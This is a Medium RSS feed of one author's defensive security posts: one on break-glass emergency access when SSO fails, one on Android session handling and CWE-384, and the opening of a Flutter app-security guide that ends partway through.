<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yash Virendra Prajapati on Medium]]></title>
        <description><![CDATA[Stories by Yash Virendra Prajapati on Medium]]></description>
        <link>https://medium.com/@yashprajapati791?source=rss-c4f281caa657------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ARdv0qB35tiOkBKN5Hju7A.jpeg</url>
            <title>Stories by Yash Virendra Prajapati on Medium</title>
            <link>https://medium.com/@yashprajapati791?source=rss-c4f281caa657------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:19:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yashprajapati791/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[What Happens When Your SSO Goes Down?]]></title>
            <link>https://infosecwriteups.com/what-happens-when-your-sso-goes-down-c8dfbeaaa6c4?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8dfbeaaa6c4</guid>
            <category><![CDATA[business-continuity]]></category>
            <category><![CDATA[recovery]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[operations]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 08:14:06 GMT</pubDate>
            <atom:updated>2026-11-13T08:14:06.877Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Why critical applications need an independent emergency access path</em></p><blockquote>Your application can be running. Your database can be healthy. Your infrastructure can be available. But if the only identity provider that unlocks everything goes down, your entire business can still come to a standstill.</blockquote><p>That sounded scary right? Indeed it is scary…let’s check this out today…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFSegRU_2BQg1NtDsxh26g.png" /><figcaption><strong>How an identity provider outage can disrupt access to every single operation platform — and how an independent break glass access mechanism can preserve critical operations.</strong></figcaption></figure><h3>The day a login button becomes a business continuity problem</h3><p>Imagine a hospital’s morning shift. Doctors and nurses cannot open the patient records system. Radiologists cannot sign in to the imaging platform. Pharmacists cannot reach the medication system. And the engineers who could investigate cannot get into GitLab or the cloud console either. Nobody has forgotten a password, and the applications are still running. The problem is that every one of those sign-in journeys depends on the same external identity provider, and that provider is unavailable.</p><p>That is more than an authentication inconvenience. It is an operational dependency failure, and in some industries it is a safety failure. Today money, identity, reputation, operations and, in some sectors, human lives are all reachable through a login. When one lock protects every door and that lock fails, whether through an attack, a misconfiguration or a vendor outage, the people responsible for recovery are locked out too.</p><p>This is the problem that break glass access is designed to address: a deliberately separate, tightly controlled way to regain essential access when the normal authentication path cannot be used.</p><h3>A real-world reminder, and an important distinction</h3><p>On 12 November 2026, Microsoft 365 experienced a major service disruption affecting Exchange Online and dependent experiences across services including Outlook, Teams, SharePoint, Copilot and others. The incident demonstrated how a problem in a widely used cloud ecosystem can affect business workflows across regions.</p><p>That incident should not be described as a confirmed global Microsoft Entra ID authentication outage. The public incident reporting described disruption to Microsoft 365 services, particularly services dependent on Exchange Online. It is useful as a resilience case study, but it does not establish that Microsoft Entra ID sign-in itself failed globally. The healthcare scenario below is therefore fictional and illustrative: a hypothetical identity-provider outage, inspired by the broader lesson of concentrated technology dependencies.</p><p><strong>Context: </strong><a href="https://www.reuters.com/technology/microsoft-365-outlook-down-thousands-us-users-downdetector-shows-2026-11-12/">Reuters coverage of the Microsoft 365 disruption</a> · <a href="https://mailservices.isc.upenn.edu/computing/email/penno365/alerts/ms-incidents.html">Microsoft incident updates mirrored by PennO365</a></p><h3>What is break glass access?</h3><p>Break glass access is an emergency authentication and authorization mechanism that allows designated people to regain access to critical systems when the normal access route is unavailable or unusable. It is intentionally kept separate from everyday sign-in.</p><p>The term comes from the idea of breaking a glass panel to reach emergency equipment: the mechanism exists for exceptional circumstances, is governed by a clear procedure, and its use is visible and reviewable. In technology environments, it may take the form of cloud-only emergency administrator accounts, a local application administrator, a separately managed identity store, or a controlled emergency role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*YCHUrvtMaauvL8zrKFzhMg.png" /><figcaption><strong>Break Glass Depiction</strong></figcaption></figure><p><strong>Break glass is not a convenience login, a shared administrator password, or a permanent bypass of MFA. It is a controlled recovery path with independent dependencies, narrow purpose, strong safeguards, and mandatory monitoring.</strong></p><h3>Case study: when a hospital cannot log in</h3><p>Consider a regional hospital group running emergency, inpatient and outpatient care across several sites. To simplify access for thousands of clinicians and staff, it has standardized employee authentication through Microsoft Entra ID. Its electronic health record, imaging, pharmacy and scheduling systems use Microsoft sign-in. Its in-house engineering team keeps integration code in GitLab, and the AWS environment that hosts the patient portal and integration services is reached through IAM Identity Center.</p><p><em>This case study is fictional and illustrative. It does not describe a real hospital or a real incident.</em></p><p>This is a sensible architecture for normal operations. Centralized identity simplifies onboarding, offboarding, MFA enforcement, conditional access and auditability. The risk appears when every critical system depends on the same identity service for the ability to sign in at all.</p><h3>The hypothetical failure</h3><ol><li>An identity-provider disruption, caused by an attack, a misconfiguration or a vendor outage, prevents users from completing new authentication flows.</li><li>Existing sessions may continue temporarily, but expired sessions, fresh logins and re-authentication prompts begin to fail, often when many people sign in at once, such as at a shift change.</li><li>Doctors and nurses cannot open patient records, medication histories or imaging. Pharmacists cannot verify orders. Staff fall back to downtime procedures, which are designed for short interruptions to individual systems, not for a wide loss of access.</li><li>The engineers and administrators who could diagnose and fix the problem are locked out of the tools they need: the cloud console, the code platform and the admin panels.</li><li>Every hour adds delayed treatment decisions, error-prone manual workarounds and growing patient-safety risk, and no one can say when access will return.</li></ol><p>Without an independent emergency path, the organization has to wait for the identity provider to recover before it can act. With a properly designed break glass mechanism, a small authorized group can use a separate authentication route to perform pre-defined recovery tasks, such as restoring access to clinical systems and critical infrastructure, while the primary provider is down. In healthcare, that difference is measured in patient safety, not just productivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uAq8xLaqSRGQfvoNqmHy8g.png" /><figcaption><strong><em>Normal SSO and emergency access should not share the same identity-provider dependency.</em></strong></figcaption></figure><p>The same single lock exists in every industry</p><p>A hospital is the starkest example, but the pattern repeats wherever critical operations sit behind one sign-in. Cyber attacks no longer target only money. They target reputation, identity, operations and, in some sectors, lives. The more of an organization that is digitally accessible, the more a single failed lock costs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*n8M-fJIy-ptc6Wp-RWiUkw.png" /><figcaption><strong>Critical sectors and the operational impact of losing access to a single identity provider.</strong></figcaption></figure><p>In each of these, the question is the same: if the only lock fails, can the right people still get in? If the answer is no, recovery depends on someone else’s timeline.</p><h3>The architecture decision: fallback does not mean adding another button</h3><p>A second login button is not automatically a break glass design. If Microsoft SSO and Google SSO are both unavailable because the application relies on a common upstream directory, shared recovery email, or the same MFA service, the apparent redundancy may fail at the same time.</p><p>The important question is not how many login methods are displayed. It is whether the emergency path has independent failure domains, is operationally usable, and can be controlled without weakening the normal security model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*y_tctnUrWsw_FcriAdnFbA.png" /><figcaption><strong>Comparison of authentication architectures, highlighting how independent emergency access improves resilience against identity provider outages while maintaining security controls.</strong></figcaption></figure><h3>Where this matters: GitLab, AWS, custom-built apps and SaaS you don’t control</h3><h3>1. GitLab: preserve a documented non-federated recovery route</h3><p>GitLab Self-Managed supports password and passkey authentication for its web interface. GitLab documents that this setting is enabled by default, and that when it is disabled users must use an external authentication provider. GitLab also documents a recovery procedure for re-enabling the standard sign-in form through the Rails console if the external provider becomes unavailable.</p><p>The practical lesson is to decide in advance whether local password/passkey authentication is part of the recovery design, keep at least one appropriately protected administrator recovery route, and document how it is restored. Do not discover during an outage that the standard sign-in option was disabled and the only person who knows how to re-enable it is also locked out.</p><p><a href="https://docs.gitlab.com/administration/settings/sign_in_restrictions/">GitLab documentation: Sign-in restrictions</a> · <a href="https://docs.gitlab.com/integration/saml/">GitLab documentation: SAML SSO</a></p><h3>2. AWS: design for the identity source and the AWS access layer</h3><p>AWS explicitly recommends setting up break-glass access for IAM Identity Center so a small group of privileged users can retain AWS access during an external identity-provider service disruption. AWS also makes an important distinction: emergency access that still uses identities from the external IdP does not protect against an outage of that IdP.</p><p>For multi-account environments, the emergency design should be deliberate and tested. It should identify which accounts and roles are recoverable, who can activate access, how temporary credentials are issued, and how actions are logged. Do not turn the AWS root user into a shared day-to-day fallback. AWS advises restricting root use to tasks that require it, securing MFA and recovery channels, avoiding root access keys, and using multi-person approval where possible.</p><p><a href="https://docs.aws.amazon.com/singlesignon/latest/userguide/resiliency-regional-behavior.html">AWS IAM Identity Center: Resiliency design and Regional behavior</a> · <a href="https://docs.aws.amazon.com/prescriptive-guidance/latest/security-reference-architecture-identity-management/workforce-iam-identity-center.html">AWS Prescriptive Guidance: IAM Identity Center</a> · <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/root-user-best-practices.html">AWS: Root user best practices</a></p><h3>3. Custom-built business applications: build the recovery path into the design</h3><p>Many organizations have moved from manual, paper-based or spreadsheet-driven operations to fully digital ones by commissioning their own application, often with the help of an external web development company. Take a fintech that used to run lending or payments largely by hand. It now runs customer onboarding, KYC checks, approvals and disbursements through a bespoke platform. To keep things simple, staff sign in with Microsoft or Google, and the vendor delivered exactly that.</p><p>Because the organization commissioned the application, it controls the authentication design, and that is the opportunity. If the only login is a single identity provider, an outage or misconfiguration can lock everyone out of a perfectly healthy application, while a business that now depends on it cannot operate. Emergency access is rarely on the requirements list unless someone asks for it.</p><p>For critical applications, agree this with the development partner up front and write it into the requirements and acceptance criteria. Ask for a locally managed emergency administrator identity or another independent authentication route. Keep it disabled or tightly constrained for ordinary use where appropriate, restrict it to designated responders, require phishing-resistant MFA where supported, and alert immediately whenever it is used. The recovery route must not rely on the same IdP for password reset, MFA recovery, email delivery or administrative approval. Also confirm who holds the admin, hosting and recovery credentials, so the organization, not only the vendor, can regain access.</p><p>For customer-facing applications, the design may be different: customer identity recovery, tenant isolation, fraud controls, and support-assisted recovery introduce additional risks. Do not expose an internal emergency administrator path as a general-purpose customer login option.</p><h3>4. Apps you don’t control: SaaS tools behind “Sign in with Microsoft or Google”</h3><p>You cannot add a break glass account to a product you do not build. But if your team uses third-party apps through OAuth or SSO sign-in, there is something practical you can check today. In many of these apps, the same account, matched by the same email address, can also be given a password and its own MFA alongside the SSO login. Support varies by product and plan, and some organizations enforce SSO-only access at the admin level, so check each app’s account and security settings rather than assuming.</p><p>For the apps your business cannot run without, consider the following:</p><ul><li>Check whether the app lets you add a password and MFA to the existing SSO-linked account, and do it before an outage, not during one.</li><li>Use a unique, strong password stored in an approved vault that does not depend on the same identity provider.</li><li>Enroll MFA that does not depend on the failing provider, such as a security key or an authenticator app, and keep a backup method stored separately.</li><li>Make sure password reset and recovery do not depend on a mailbox hosted by the same provider. If the recovery email is on Microsoft 365 and Microsoft 365 is down, the reset link will not arrive.</li><li>Test the password login while SSO is still working, and for owner or admin roles keep the credentials in your emergency access process rather than with one person.</li><li>If an admin has disabled password login, ask whether an exception is possible for a small number of emergency accounts.</li></ul><p>A password login is also an extra way in for attackers, so enable it only for the accounts that need it, with MFA and monitoring where the app offers them. The goal is not to abandon SSO. It is to avoid discovering, on the day of an outage, that your only way into a critical tool was the one thing that failed.</p><h3>Best practices for a secure break glass design</h3><ol><li><strong>Identify genuinely critical systems. </strong>Prioritize applications whose unavailability blocks incident response, infrastructure administration, software delivery, financial operations, or customer-critical workflows.</li><li><strong>Map the full authentication dependency chain. </strong>Include the IdP, federation layer, MFA provider, DNS, network access, device management, password vault, recovery email, and approval workflow. A fallback is not independent if it depends on the failed component.</li><li><strong>Use separate emergency identities. </strong>Do not rely on the same federated account or synchronized directory that may be unavailable. For application-level emergency access, grant only the minimum role needed for the recovery task.</li><li><strong>Require strong authentication. </strong>Use phishing-resistant MFA such as FIDO2 security keys or certificate-based authentication where supported. Keep emergency factors separate from normal administrator authentication.</li><li><strong>Protect credentials and recovery material. </strong>Store credentials in an approved, access-controlled vault or secure offline process. Require dual control or multi-person approval for highly privileged access.</li><li><strong>Keep the number of accounts small. </strong>Maintain enough redundancy to avoid a single-person failure, but do not create a broad parallel administrator population.</li><li><strong>Monitor every use. </strong>Generate immediate alerts for emergency sign-ins and privileged actions. Record who approved access, why it was used, what was changed, and when access was revoked.</li><li><strong>Constrain the session. </strong>Use time-limited access, narrowly scoped permissions, secure workstations, and a defined set of emergency tasks. Avoid permanent standing access beyond what the recovery objective requires.</li><li><strong>Test it regularly. </strong>Validate credentials, MFA devices, runbooks, network reachability, and audit logging. Microsoft recommends validating Entra emergency access accounts at least every 90 days.</li><li><strong>Revoke, rotate, and review after use. </strong>Treat every activation as a security event. Rotate credentials when appropriate, review logs, confirm the incident is closed, and restore the emergency mechanism to its intended state.</li></ol><p><strong>Microsoft’s guidance for Entra emergency access accounts: </strong><a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/security-emergency-access">Manage emergency access admin accounts</a></p><h3>A practical readiness checklist</h3><p>☐ Critical applications and their identity dependencies are documented.</p><p>☐ The emergency authentication path does not depend on the primary IdP.</p><p>☐ At least two authorized responders can execute the recovery procedure.</p><p>☐ Emergency credentials and MFA devices are securely stored and accessible during an outage.</p><p>☐ Emergency privileges are limited to the minimum required recovery actions.</p><p>☐ The process works from a designated secure workstation and approved network path.</p><p>☐ Sign-ins and privileged actions generate immediate alerts and audit records.</p><p>☐ The runbook explains activation, approval, communication, credential rotation, and deactivation.</p><p>☐ The procedure has been exercised within the defined testing interval.</p><p>☐ Lessons from each exercise are tracked and remediated.</p><h3>The takeaway: resilience is an identity design requirement</h3><p>Single sign-on is valuable. It reduces password sprawl, centralizes policy enforcement, and makes access easier to manage. The mistake is not adopting SSO; it is assuming that the identity provider will always be available and that every critical application can safely depend on it as its only route in.</p><p>For systems that keep a business running — source-code platforms, cloud consoles, production operations tools, and internal business applications — emergency access should be treated as part of business continuity and disaster recovery planning. A second login button is not enough. The recovery path must be independent, secure, limited, observable, and tested.</p><p>Identity is now the lock on almost everything an organization owns: its money, its data, its infrastructure and, in some industries, its patients and people. A lock that protects that much needs a controlled, tested way in when it jams.</p><blockquote><strong>The objective is simple: when the normal identity path fails, authorized responders should still be able to protect the business — without creating a back door that attackers can use.</strong></blockquote><h3>Frequently asked questions</h3><h3>What is a break glass account?</h3><p>A break glass account is a tightly controlled emergency account that lets designated people regain access to critical systems when the normal sign-in path, such as SSO, is unavailable. It should operate independently of the primary identity provider and be protected by strong authentication and strict monitoring.</p><h3>Should a break glass account use MFA?</h3><p>Yes, wherever the platform supports it. Prefer phishing-resistant methods such as FIDO2 security keys, and keep the emergency factors separate from everyday administrator authentication so they do not depend on the same phone, identity provider or communication channel.</p><h3>Does every application need an emergency login?</h3><p>No. Prioritize applications whose unavailability would block incident response, infrastructure administration, software delivery or other business-critical work. For those, a locally managed emergency administrator or another independent path should be designed, tested and monitored.</p><h3>How often should break glass access be tested?</h3><p>Follow the guidance for each platform. Microsoft recommends validating Entra emergency access accounts at least every 90 days, and organizations should also exercise application-level recovery runbooks on a regular schedule.</p><h3>Is a break glass account a security risk?</h3><p>It can be if it is poorly protected, because it is a high-value target. Strong MFA, least privilege, secure credential storage, immediate alerting on every use and regular review keep the risk manageable.</p><h3>Building for resilience, not just availability</h3><p>An authentication outage should never become a business-wide outage. If your organization relies on Microsoft, Google, or another external identity provider to access critical applications, now is the time to evaluate what happens when that provider becomes unavailable.</p><p>At Webelight Solutions, we help organizations build secure, resilient, and future-ready digital systems — from application security and infrastructure architecture to identity and access management.</p><p><strong>Looking to make your applications more resilient against unexpected disruptions? </strong>Let’s build systems that stay accessible when it matters most.</p><p><strong>Website: </strong><a href="https://www.webelight.com/contact-us">https://www.webelight.com/contact-us</a></p><p>For More such insightful reads : <a href="https://www.webelight.com/blog">https://www.webelight.com/blog</a></p><h3>References and further reading</h3><ul><li><a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/security-emergency-access">Microsoft Entra ID — Manage emergency access admin accounts</a></li><li><a href="https://docs.aws.amazon.com/singlesignon/latest/userguide/resiliency-regional-behavior.html">AWS IAM Identity Center — Resiliency design and Regional behavior</a></li><li><a href="https://docs.aws.amazon.com/prescriptive-guidance/latest/security-reference-architecture-identity-management/workforce-iam-identity-center.html">AWS Prescriptive Guidance — IAM Identity Center</a></li><li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/root-user-best-practices.html">AWS IAM — Root user best practices</a></li><li><a href="https://docs.gitlab.com/administration/settings/sign_in_restrictions/">GitLab — Sign-in restrictions</a></li><li><a href="https://docs.gitlab.com/integration/saml/">GitLab — SAML SSO</a></li><li><a href="https://www.reuters.com/technology/microsoft-365-outlook-down-thousands-us-users-downdetector-shows-2026-11-12/">Reuters — Microsoft 365 outage reporting, 12 November 2026</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8dfbeaaa6c4" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/what-happens-when-your-sso-goes-down-c8dfbeaaa6c4">What Happens When Your SSO Goes Down?</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tales of CWE-384 and Android Apps]]></title>
            <link>https://medium.com/@yashprajapati791/tales-of-cwe-384-and-android-apps-e8a66e35f6df?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8a66e35f6df</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 10:53:46 GMT</pubDate>
            <atom:updated>2026-01-06T10:53:46.456Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Why WhatsApp Never Logs You Out — and Why Most Android Apps Should Not Try Doing The Same</strong></h4><h3>The meeting room is quiet, but tense.</h3><p><strong>Security Engineer:<br></strong>“We need to reduce the JWT expiry. Fifteen minutes, max. Refresh token rotation is non-negotiable.”</p><p><strong>Product Manager:<br></strong>“Fifteen minutes? Users will hate that. They already complain about logins.”</p><p><strong>Client (leaning back confidently):<br></strong>“Why are we even discussing this? I use WhatsApp. I use Gmail. I use Zoho. None of them log me out. And they’re secure.”</p><p><strong>Security Engineer (sighs):<br></strong>“They <em>look</em> like they don’t log you out.”</p><p><strong>Client:<br></strong>“Exactly. That’s what users expect.”</p><p>And that’s usually where the real problem begins.</p><p>Because at that moment, what’s being compared is <strong>user experience</strong>, not <strong>security architecture</strong>. The assumption quietly slips into the room that <em>persistent login equals persistent session</em>. And once that assumption is accepted, an Android application is already drifting toward <strong>CWE-384: Session Fixation</strong>.</p><h3>Understanding CWE-384 in the Android World</h3><p>Session Fixation, formally tracked as <strong>CWE-384</strong>, occurs when an application allows a session identifier to be reused, predicted, or fixed across authentication boundaries. In simpler terms, it happens when a session token becomes a permanent identity rather than a temporary proof of authentication.</p><p>On Android, this risk is amplified.Because Android apps:</p><ul><li>Store authentication material locally in local storage, memory, backups, and sometimes logs.</li><li>Run in the background</li><li>Survive app restarts</li><li>Tokens are not confined to a browser sandbox and might operate on rooted or compromised devices</li><li>Rarely force re-authentication</li></ul><p>If an Android app treats a token as something that can live forever, an attacker only needs to steal it ONCE. And that’s exactly the reason, why session fixation in mobile apps is not theoretical. It is practical, repeatable, and devastating when exploited.</p><h3>The Illusion of “Never Logging Out”</h3><p>WhatsApp feels like it never logs you out. Gmail feels the same. Zoho apps can stay logged in for weeks. To most users — and many developers — this creates a dangerous mental model: that these apps simply issue long-lived sessions and trust them forever.</p><p>That is not the thing actually happening behind the visible layer.</p><p>What actually exists underneath is <strong>continuous authentication</strong>, not persistent sessions. These apps are not trusting a single token for months. They are constantly re-validating identity using multiple layers of security that most Android apps never implement.</p><p>Once this distinction becomes clear, the entire argument around “users hate logouts” changes shape.</p><h3>Why Typical Android Session Handling Fails</h3><p>Let’s look at what usually happens in Android applications.</p><p>A user logs in. The backend issues a JWT or session token. The app stores it in SharedPreferences or a local database. Every API request attaches that same token. To avoid annoying users, the expiry is set to days or weeks. There is no rotation. No binding to the device. No contextual verification.</p><p>From the developer’s perspective, this solves everything. The app feels smooth. The login screen rarely appears. Support tickets go down.</p><p>From a security perspective, this is exactly how <strong>CWE-384 session fixation vulnerabilities</strong> are born.</p><p>If that token is ever extracted — from malware, a rooted device, an unencrypted backup, or memory inspection — the attacker does not need to authenticate again. They reuse the session. The server cannot tell the difference, because the logic says: <em>valid token equals valid user</em>.</p><p>This is where Android apps diverge sharply from platforms like WhatsApp.</p><h3>WhatsApp’s Android Model: Identity, Not Sessions</h3><p>WhatsApp does not build its security around sessions at all. It builds it around <strong>cryptographic identity bound to hardware</strong>.Yup, you read it correct! It authenticates <strong>devices.</strong></p><p>When you first register WhatsApp on an Android device, the app generates a unique identity key pair inside the Android Keystore. On modern devices, this key is backed by the Trusted Execution Environment. So,</p><ul><li>Private key never leaves the device</li><li>Not accessible to the app layer</li><li>Not backed up to the cloud</li><li>Not extractable — even on many rooted phones</li></ul><p>From that moment on, your phone itself becomes the identity.</p><p>This single design choice eliminates the core condition required for session fixation. There is no reusable session identifier that can be fixed, predicted, or replayed on another device.</p><h3>Token Bootstrapping and Cryptographic State Evolution</h3><p>WhatsApp uses <strong>token bootstrapping</strong>, not static authentication tokens.</p><p>Each successful interaction:</p><ul><li>Evolves cryptographic state</li><li>Updates authentication material</li><li>Invalidates previous state implicitly</li></ul><p>If an attacker copies session data and replays it:</p><ul><li>The cryptographic chain breaks</li><li>The server sees divergence</li><li>Both sessions are invalidated</li></ul><p>This is session fixation <strong>by design failure</strong>.</p><p>There is nothing to “fix” because nothing is static.</p><h3>Asynchronous Challenges: Invisible but Critical</h3><p>Another layer WhatsApp uses is asynchronous device challenges. These challenges are never shown to the user. They are not OTPs or push notifications. They are silent cryptographic checks.</p><p>When a device connects:</p><ul><li>The server may issue a silent cryptographic challenge</li><li>The device must respond using hardware-backed keys</li><li>Attackers replaying tokens never see this challenge</li></ul><p>The result is simple: No challenge response → no session.</p><p>No error explaining why. No alert tipping off the attacker. Just a dead session.</p><h3>SIM Binding and Hardware Consistency</h3><p>Modern WhatsApp builds also:</p><ul><li>Validates SIM presence</li><li>Monitors hardware consistency</li><li>Detects SIM removal or swapping</li></ul><p>If the physical environment changes, trust is revoked.</p><p>This matters because <strong>software can be cloned — hardware cannot</strong>.</p><p>Session fixation depends on reuse. WhatsApp’s model ensures reuse is practically impossible.</p><h3>Gmail and Zoho on Android: Continuous Re-Authentication</h3><p>Gmail and Zoho take a more traditional token-based approach, BUT with strict controls that prevent fixation.</p><p>On Android, access tokens are deliberately short-lived. They may expire every thirty or sixty minutes. The user never notices because the app silently refreshes them using refresh tokens stored securely in the Android Keystore.</p><p>The crucial detail is <strong>refresh token rotation</strong>. Every time a refresh token is used, the server invalidates it and issues a new one. This creates a lineage. If a stolen refresh token is reused, the legitimate app will eventually attempt to use an already-invalid token. That reuse is detected immediately, and all sessions are revoked.</p><p>This turns session theft into a detectable event rather than a silent compromise.</p><h3>Contextual Verification on Android</h3><p>Gmail and Zoho also validate context on every refresh.</p><ul><li>Device identity</li><li>App signature hash</li><li>OS version</li><li>IP reputation</li><li>Geographic velocity</li></ul><p>A token alone is never enough.</p><p>Even a valid token, if presented from the wrong device or location, loses trust instantly.</p><p>This is why long-lived login does not equal long-lived session.</p><h3>Why Banking Apps Refuse All of This</h3><p>If you made it this far, at some point of time while reading most probably this question might have struck your mind that if this technical magic is possible then why are Banking apps so stubborn asking me to login every now and then? Simply answering: cause they deliberately choose inconvenience over risk. Their threat model includes physical access, overlay attacks, RAM scraping, and regulatory liability. Financial data lives in memory during a session. Keeping that session alive increases exposure.</p><p>As a result, banking apps aggressively kill sessions when the app moves to the background or after brief inactivity. This is not technical limitation — it is risk management.</p><h3>The Real Lesson of CWE-384 for Android Developers</h3><p>Session fixation is not caused by sessions that last too long. It is caused by sessions that are trusted without continuous verification.</p><ol><li>WhatsApp trusts hardware.</li><li>Gmail and Zoho trust context.</li><li>Banks trust nothing.</li><li>Most Android apps trust tokens.</li></ol><p>That is the difference.</p><p><em>Wanna visualize it better? Here you have it</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*VulE6z6E_P3diIUiwTTzWQ.png" /><figcaption>Zoho/Whatsapp V/S Banking Apps</figcaption></figure><h3>A Short Note on the Web (For Comparison)</h3><p>Web apps rely on:</p><ul><li>Cookies</li><li>HttpOnly / Secure flags</li><li>SameSite policies</li><li>Browser fingerprinting</li></ul><p>They <em>approximate</em> what Android enforces via hardware.The philosophy is the same, but the guarantees are not.</p><h3><strong>Session &amp; Authentication Strategy Guide for Android Apps</strong></h3><p>Here you have my personal recommendation cheatsheet, feel free to optimise it for your organisation needs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TyvvKvgu3YmEFB-YsYIR3Q.png" /><figcaption><strong>Session &amp; Security Strategy by App Category</strong></figcaption></figure><h3>How to Interpret This Correctly</h3><h4>Access Session / Token Lifetime</h4><p>This represents the <strong>maximum time a session or access token should remain valid without re-authentication</strong>, assuming normal usage.</p><p><strong><em>Example:</em></strong></p><ul><li><strong>30m — 1h</strong> means the app should silently re-authenticate or rotate tokens within that window where 30m should be the least, while 1h is the max limit.</li></ul><h4>Refresh Token Strategy</h4><p>If refresh tokens are used:</p><ul><li>They <strong>must be rotated on every use</strong></li><li>Reuse must trigger <strong>global session revocation</strong></li><li>Storage <strong>must be Android Keystore-backed</strong></li></ul><p>If rotation is not implemented, <strong>do not use refresh tokens at all</strong>.</p><h3>Modern vs Legacy Session Handling</h3><p><strong>Modern Session Handling includes:</strong></p><ul><li>Short-lived access tokens</li><li>Refresh token rotation</li><li>Device binding</li><li>Context validation</li><li>Hardware-backed secrets</li></ul><p><strong>Legacy Session Handling relies on:</strong></p><ul><li>Long-lived static tokens</li><li>Minimal context awareness</li><li>Server-side trust in token presence</li></ul><p>Legacy is acceptable <strong>only</strong> where risk is minimal.</p><h3>One-Line Rule of Thumb for Developers</h3><ul><li>If <strong>money, identity, or legal liability</strong> is involved → <strong>Short sessions, no persistence</strong></li><li>If <strong>privacy or productivity</strong> is involved → <strong>Continuous authentication</strong></li><li>If <strong>entertainment or convenience</strong> is involved → <strong>Long sessions with abuse controls</strong></li></ul><h3>Final Thoughts</h3><p>Sometimes, due to dependencies, business requirements, or ecosystem constraints, developers are forced to use older libraries or versions with known limitations. That alone does not make an application insecure. Security is not dictated solely by versions or CVE counts.</p><p>A vulnerable package, used with strong logic, layered verification, and continuous validation, can be secure. A fully patched stack, used with naive session handling, can still fall to CWE-384.</p><p>In Android security, <strong>logic defeats exploits long before cryptography does</strong>.</p><p>And that is the difference between apps that merely <em>look</em> secure and apps that actually are.</p><p>Wait…Wait….Wait!! Not that I’ll ask you to give a bunch of claps if you liked the articles or follow me for more such insights but just wanted to request that if you’ve got some related tips/cheatsheet/knowledge or anything just drop it below in the comments. Let’s make this internet a little safer everyday!!</p><p>I’d love to connect with you. Just hit the connect button on linkedin, you can find my profile link in the first comment of this blog!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8a66e35f6df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Maybe This is All You Need to Know About Securing Flutter Apps]]></title>
            <link>https://medium.com/@yashprajapati791/maybe-this-is-all-you-need-to-know-about-securing-flutter-apps-7fefb0a9ae85?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fefb0a9ae85</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[flutter]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Wed, 19 Nov 2025 11:20:19 GMT</pubDate>
            <atom:updated>2025-11-19T11:20:19.482Z</atom:updated>
            <content:encoded><![CDATA[<p>Developers just love Flutter for its speed, cross-platform capabilities, and beautiful UIs. But at the same time, we all must also acknowledge that popularity brings scrutiny. With time tools and techniques just keep evolving helping attackers breach into traditional defenses which at once were considered tough to tackle. That’s why development today isn’t just about speed, innovation and [without forgetting] must have have atleast one AI integration (the trend of the industry); it’s about building a fortress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*7mH9Tl4mAycJ3Jz7FkEMlw.png" /><figcaption>Wait a Minute</figcaption></figure><p><strong>You might be thinking:</strong> How is it that the person who usually drones on about web, API, and AI security suddenly jumped into writing a definitive guide on Flutter security? You’re right; it was a bit sudden!</p><blockquote>It all started when I was introduced to the very real and immediate concerns coming from development teams who had just found out about a tool called <strong><em>reFlutter</em></strong>. This isn’t just another general reverse engineering tool; it’s a precision instrument built to dismantle Flutter apps.</blockquote><p>As a pentester, when I see a threat that so easily undermines standard security models, I have to step in. So today, we’re going to swap our 